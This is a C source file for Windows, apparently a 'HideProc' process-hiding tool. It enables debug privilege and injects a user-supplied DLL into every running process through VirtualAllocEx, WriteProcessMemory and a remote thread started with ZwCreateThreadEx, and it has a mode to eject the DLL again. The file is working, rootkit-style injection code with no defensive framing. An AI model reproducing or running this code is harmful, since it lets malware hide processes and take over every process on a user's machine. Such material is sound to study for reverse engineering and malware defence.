1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237
| #include <stdio.h> #include <windows.h> #include <TlHelp32.h>
#include <winbase.h> #include <tchar.h> #include <wchar.h>
#ifdef _WIN64 typedef DWORD(WINAPI* MyZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* MyZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif
typedef void(*SetPid)(DWORD); enum { INJECTION_MODE = 0, EJECTION_MODE };
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; }
if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) { printf("LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; }
tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; }
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("The token does not have the specified privilege. \n"); return FALSE; }
return TRUE; }
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess = NULL, hThread = NULL; LPVOID pRemoteBuf; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); if (hProcess == NULL) { printf("OpenProcess(%d) failed!!!\n", dwPID); return FALSE; } printf("OpenProcess(%d) SUCCESS!!!\n", dwPID); pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL); HMODULE ntdll = LoadLibraryA("ntdll.dll"); MyZwCreateThreadEx ZwCreateThreadEx = (MyZwCreateThreadEx)GetProcAddress(ntdll, "ZwCreateThreadEx"); pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); ZwCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, pThreadProc, pRemoteBuf, 0, 0, 0, 0, NULL); if (hThread == NULL) { printf("(%d)进程创建远线程失败 !!!\n", dwPID); return FALSE; } WaitForSingleObject(hThread, 5000);
CloseHandle(hThread); CloseHandle(hProcess); FreeLibrary(ntdll); return TRUE; }
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath) { BOOL bMore = FALSE, bFound = FALSE; HANDLE hSnapshot, hProcess = NULL, hThread = NULL; MODULEENTRY32 me = { sizeof(me) }; LPTHREAD_START_ROUTINE pThreadProc;
if (INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID))) return FALSE;
bMore = Module32First(hSnapshot, &me); LPCSTR p = NULL; for (; bMore; bMore = Module32Next(hSnapshot, &me)) { if (!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath)) { bFound = TRUE; break; } }
if (!bFound) { CloseHandle(hSnapshot); return FALSE; }
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) { CloseHandle(hSnapshot); return FALSE; }
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"),"FreeLibrary");
HMODULE ntdll = LoadLibraryA("ntdll.dll"); MyZwCreateThreadEx ZwCreateThreadEx = (MyZwCreateThreadEx)GetProcAddress(ntdll, "ZwCreateThreadEx");
ZwCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, pThreadProc, me.modBaseAddr, 0, 0, 0, 0, NULL); if (hThread == NULL) { printf("(%d)进程创建远线程失败 !!!\n", dwPID); return FALSE; } WaitForSingleObject(hThread, INFINITE); printf("(%d)卸载DLL完成 !!!\n", dwPID);
CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnapshot); FreeLibrary(ntdll); return TRUE; }
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) { DWORD dwPID = 0; HANDLE hSnapShot = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32); hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
Process32First(hSnapShot, &pe); do { dwPID = pe.th32ProcessID;
if (dwPID < 100) continue;
if (nMode == INJECTION_MODE) InjectDll(dwPID, szDllPath); else EjectDll(dwPID, szDllPath); } while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot); return TRUE; }
int _tmain(int argc, TCHAR* argv[]) { int nMode = INJECTION_MODE; HMODULE hLib = NULL; SetPid setPid = NULL;
if (argc != 4) { printf("\n Usage : HideProc.exe <-i|-e> <process id> <dll path>\n\n"); return 1; } SetPrivilege(SE_DEBUG_NAME, TRUE);
hLib = LoadLibrary(argv[3]);
setPid = (SetPid)GetProcAddress(hLib, "SetPid"); setPid((DWORD)atoi(argv[2])); FreeLibrary(hLib);
if (!_stricmp(argv[1], "-e")) nMode = EJECTION_MODE;
InjectAllProcess(nMode, argv[3]);
return 0; }
|